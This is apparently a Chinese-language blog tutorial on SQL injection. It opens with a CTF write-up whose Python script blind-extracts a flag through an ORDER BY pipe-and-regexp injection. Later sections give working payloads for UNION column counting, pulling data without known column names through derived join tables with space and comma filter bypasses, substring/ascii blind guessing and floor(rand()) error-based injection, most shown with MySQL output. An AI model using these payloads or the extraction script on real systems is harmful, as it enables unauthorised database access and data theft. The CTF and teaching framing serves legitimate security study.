關于SQL注入的一些技巧分享
先上一道簡單的ctf注入題:
一道利用order by進行注入的ctf題
很不錯的一道利用order by的注入題,之前不知道order by除了爆字段還有這種操作。
原題地址:http://chall.tasteless.eu/level1/index.php?dir=
直接進去dir后的參數是ASC,網頁上有從1~10編號的10條信息。繞了一大圈反應出是order by后的參數,嘗試把參數改為DESC,果然倒序排列了。題目給了提示:hint: table level1_flag column flag給了數據表和字段,于是開始構造payload。
于是玄學來了,在order by后面插入管道符|之后再跟一個偶數(?這里我真的不清楚)會導致排序錯亂。嘗試以下url:
http://chall.tasteless.eu/level1/index.php?dir=|2
果然排序錯亂,那么想要查出flag必定要使用以下語句:
- select flag from level1_flag
(結果證明確實這是一個一行一列的玩意兒,不然就要使用到limit或group_concat)
但是網頁上沒有顯示這個的輸出框,于是我們這樣利用這個查詢的結果集:
- |(select(select flag from level1_flag)regexp '正則')+1
解釋一下,括號里的正則匹配成功返回1,所以再加1變成2
所以如果匹配成功,網頁的排序就會錯亂,如果不成功排序則不會錯亂,于是最終腳本:
- =|(select(select flag from level1_flag limit 0,1) regexp 'sdfghj')%2b1"
- ordered_content=requests.get(right_url).content
- while(1):
- for letter in '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM?':
- if(letter=='?'):
- exit()
- result_string_tem=result_string+letter
- url="http://chall.tasteless.eu/level1/index.php?dir=|(select(select flag from level1_flag limit 0,1) regexp "+"'"+result_string_tem+"'"+")%2b1"
- print url
- content=requests.get(url).content
- if(content!=ordered_content):
- result_string=result_string_tem
- print result_string
- break
- continue
總結一下:
1、管道符的使用(見正文)
2、regexp的使用(見正文)
其實還有一個group by后面的注入,where后面的都能用
0x00 union、intersect和minus的使用
union基本語法:
select語句
union select語句
intersect(交集)和minus(差集)也一樣,但是mysql不支持交集和差集,所以這也是一個判斷數據庫的方法。
就說說union:
基本法:前后兩個select語句的字段數要相同,不然sql必定報錯,所以可以用union指令判斷數據表的字段數,基本構造方法:
- ...where...union select 1,2,3,4,...,x limit y,z
其中where子句可以沒有,limit視情況而定,中間輸入進去的1,2,3,4,…,x他們中的任何一個都可以用函數代替,最終他們在默認排序的情況下會被拼接到結果集的***一行。例:
- mysql> select * from learning_test union select 1,version(),concat('sh','it'),4,5;
- +------+---------+---------+---------+----------------------+
- | num | column2 | column3 | column4 | bin_column |
- +------+---------+---------+---------+----------------------+
- | 1 | a | s | s | aaaaaaaa |
- | 2 | b | s | s | ddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | fffffff |
- | 1 | 5.5.53 | shit | 4 | 5 |
- +------+---------+---------+---------+----------------------+
- 5 rows in set (0.03 sec)
union查詢強大而靈活,因為他可以查詢兩個不同的表的信息,哪怕這兩個表字段數不同,只要這樣做:
- mysql> select * from learning_test union select 1,version(),3,group_concat(test_table),5 from test_table;
- +------+---------+---------+---------+----------------------+
- | num | column2 | column3 | column4 | bin_column |
- +------+---------+---------+---------+----------------------+
- | 1 | a | s | s | aaaaaaaa |
- | 2 | b | s | s | ddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | fffffff |
- | 1 | 5.5.53 | 3 | 1,2,3 | 5 |
- +------+---------+---------+---------+----------------------+
- 5 rows in set (0.03 sec)
而test_table內的數據結構是這樣的:
- +------------+ | test_table |
- +------------+ | 1 |
- | 2 |
- | 3 |
- +------------+
很明顯與learning_test表的字段數不同,但是我們使用了group_concat()函數拼接了我們需要的內容。
0x01 管道符的使用
1、order by之后可以使用|數字使排序錯亂,不清楚具體是怎么錯亂的
2、where子句之后跟上|1或|0也能出數據,但要是跟上|大于一或小于零的數就出不了數據
0x02 regexp的使用
很簡單,正則匹配,匹配對象必須是單行單列,或者說是字符串。基本語法:
select (select語句) regexp '正則'
意思是將括號內的查詢的結果集嘗試與給出的正則匹配,如果配對成功則返回1,配對失敗返回0。
0x03 group_concat()的使用
將一列數據進行拼接,非常便利的函數,一般與union一起使用,就像本節的***小節給出的***一個例子一樣。
0x04 利用虛擬表在不知道字段名的情況下出數據
- -1 UNION ALL SELECT * FROM (
- (SELECT 1)a JOIN (
- SELECT F.4 from (
- SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r
- UNION
- SELECT * FROM NEWS LIMIT 1 OFFSET 4
- )F
- )b JOIN (SELECT 3)c JOIN (SELECT 4)d
- )
先上一道ctf題的payload進行分析:
正常版:
- -1 UNION ALL SELECT * FROM ((SELECT 1)a JOIN (SELECT F.4 from (SELECT * FROM (SELECT 1)u JOIN (SELECT 2)i JOIN (SELECT 3)o JOIN (SELECT 4)r UNION SELECT * FROM NEWS LIMIT 1 OFFSET 4)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d)
這本是一道ctf題,前面估計是where后面的子句。這道題過濾了三樣東西:1、空格,2、逗號,3、字段名
這里不詳細說繞過,方法很多,空格利用%0a繞過,union指令中的逗號利用join繞過,limit指令中的逗號利用offset繞過。
這里因為payload中不能出現字段名,因此我們創建了一個與所查表字段數相同的虛擬表并對其并將其查詢結果與前面的查詢union起來。具體來說是這樣:
-- 比如說在原查詢的第二字段處出數據
- ... where ...
- union all
- select * from(
- (select 1)a join(
- select F.[需要查詢的字段號] from(
- select * from [需要查詢的表有多少個字段就join多少個]
- union
- select * from [需要查詢的表] [limit子句]
- )F-- 我們創建的虛擬表沒有表名,因此定義一個別名,然后直接[別名].[字段號]查詢數據
- )b-- 同上[還差多少字段就再join多少個,以滿足字段數相同的原則] )
正常版:
- ... where ... union all select * from((select 1)a join(select F.[需要查詢的字段號] from(select * from [需要查詢的表有多少個字段就join多少個] union select * from [需要查詢的表] [limit子句])F)b[還差多少字段就再join多少個,以滿足字段數相同的原則])
payload中的join換成逗號亦可。
我們平時使用union時都是將union select 1,2,3,4…寫在后面以填充不存在的數據并測試字段數。在這種操作中我們把union select 1,2,3,4…寫在了前面來充當虛擬表的字段名。本質上來說并不是不知道字段名,而是把不知道字段名的表的查詢結果和我們創建的字段名為1,2,3,4…的虛擬表的交集作為一個結果集返回。
這里有一個點,方括號內的limit子句需要特別注意,要取下面這個子查詢
- select F.[需要查詢的字段號] from(select * from [需要查詢的表有多少個字段就join多少個] union select * from [需要查詢的表] [limit子句]
結果集的***一行,因為我們需要的數據被union拼到了***一行(在我們需要的數據只有一行的情況下)。
如果我們需要的東西不止一行會怎么樣呢?一段簡單的測試:
- mysql> select * from learning_test union all SELECT * FROM ((SELECT 1)a JOIN (SELECT F.1 from (SELECT * FROM (SELECT 1)u UNION SELECT * FROM test_table LIMIT 2 OFFSET 1)F)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (select 5)e);
- +------+---------+---------+---------+-------------+
- | num | column2 | column3 | column4 | bin_column |
- +------+---------+---------+---------+-------------+
- | 1 | a | s | s | aaaaaaaaa |
- | 2 | b | s | s | dddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | ffffffff |
- | 1 | 2 | 3 | 4 | 5 |
- | 1 | 3 | 3 | 4 | 5 |
- +------+---------+---------+---------+-------------+
- 6 rows in set (0.00 sec)
并不會報錯,我們需要的查詢結果就是第5,6行第2字段的2和3。
下面是對虛擬表的簡單測試:
- mysql> select * from ((select 1)a join (select 2)b) limit 1 offset 1;
- Empty set (0.00 sec)
- mysql> select * from ((select 1)a join (select 2)b);
- +---+---+
- | 1 | 2 |
- +---+---+
- | 1 | 2 |
- +---+---+
- 1 row in set (0.00 sec)
可以看到我們創建的確實是字段名為1和2的虛擬表,此表的結構為一行兩列。
用虛擬表去union其他表的數據:
- mysql> select * from ((select 233)a,(select 2333)b,(select 23333)c,(select 233333)d,(select 2333333)e) union select * from learning_test;
- +------+------+-------+--------+-------------+
- | 233 | 2333 | 23333 | 233333 | 2333333 |
- +------+------+-------+--------+-------------+
- | 233 | 2333 | 23333 | 233333 | 2333333 |
- | 1 | a | s | s | aaaaaaaa |
- | 2 | b | s | s | ddd |
- | 3 | c | s | s | wwwwwwww |
- | 4 | d | s | s | fffffff |
- +------+------+-------+--------+-------------+
- 5 rows in set (0.00 sec)
表明我們之前的分析是正確的,方法可行。
0x05 substring()和ascii()的聯合使用
用于猜解數據庫名、表名、字段名和查詢結果等
具體使用:
- mysql> select ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10;
- +--------------------------------------------------------------------------------------+
- | ascii((select substring((select bin_column from learning_test where num=2),1,1)))>10 |
- +--------------------------------------------------------------------------------------+
- | 1 |
- +--------------------------------------------------------------------------------------+
- 1 row in set (0.02 sec)
看到返回了1,也就是說select bin_column from learning_test where num=2這個查詢語句返回的結果集的***個字符的ascii碼確實是大于10的。當然這個過程是繁瑣的,可以使用腳本進行自動化猜解,或使用sqlmap中集成的類似的自動化注入功能。
0x06 利用floor()報錯注入
payload:
- ...and (select count(*),concat(version(),floor(rand(0)*8))x from information_schema.tables group by x)a;
或
- ...and (select count(*) from (select 1 union select null union select !1)x group by concat(version(),floor(rand(0)*2)))